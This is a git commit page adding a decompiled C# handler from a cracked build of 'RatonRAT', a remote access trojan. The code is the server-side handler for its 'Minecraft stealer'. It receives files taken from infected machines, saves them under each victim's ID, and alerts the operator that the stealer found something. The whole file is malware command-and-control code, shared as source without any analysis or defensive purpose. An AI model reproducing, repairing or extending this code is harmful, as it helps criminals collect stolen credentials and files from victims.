initial commit
This commit is contained in:
@@ -0,0 +1,58 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleMinecraft
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Windows;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleMinecraft
|
||||
{
|
||||
public HandleMinecraft(SillyClient client, Unpack unpack)
|
||||
{
|
||||
string uid = unpack.GetAsString("UID");
|
||||
int asInteger = unpack.GetAsInteger("Count");
|
||||
string str1 = Path.Combine(Program.ClientsFolder, uid);
|
||||
if (!Directory.Exists(str1))
|
||||
Directory.CreateDirectory(str1);
|
||||
Console.WriteLine(uid + asInteger.ToString());
|
||||
for (int index = 0; index < asInteger; ++index)
|
||||
{
|
||||
string name = unpack.GetAsString($"Name{index}");
|
||||
string asString = unpack.GetAsString($"Extension{index}");
|
||||
byte[] asByteArray = unpack.GetAsByteArray($"Data{index}");
|
||||
string[] source = new string[6]
|
||||
{
|
||||
"txt",
|
||||
"json",
|
||||
"log",
|
||||
".txt",
|
||||
".json",
|
||||
".log"
|
||||
};
|
||||
if (!string.IsNullOrEmpty(name) && asByteArray != null && asByteArray.Length != 0)
|
||||
{
|
||||
string str2;
|
||||
if (!string.IsNullOrWhiteSpace(asString))
|
||||
str2 = asString.TrimStart('.').ToLower();
|
||||
else
|
||||
str2 = "";
|
||||
string safeExt = str2;
|
||||
if (!((IEnumerable<string>) source).Contains<string>(safeExt))
|
||||
break;
|
||||
File.WriteAllBytes(Path.Combine(str1, $"{name}.{safeExt}"), asByteArray);
|
||||
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) $"Minecraft → {uid} → {name}.{safeExt}", (object) System.Drawing.Color.LightGreen)));
|
||||
Notification.Show($"RatonRAT • {unpack.GetAsString("UID")}\nMinecraft stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user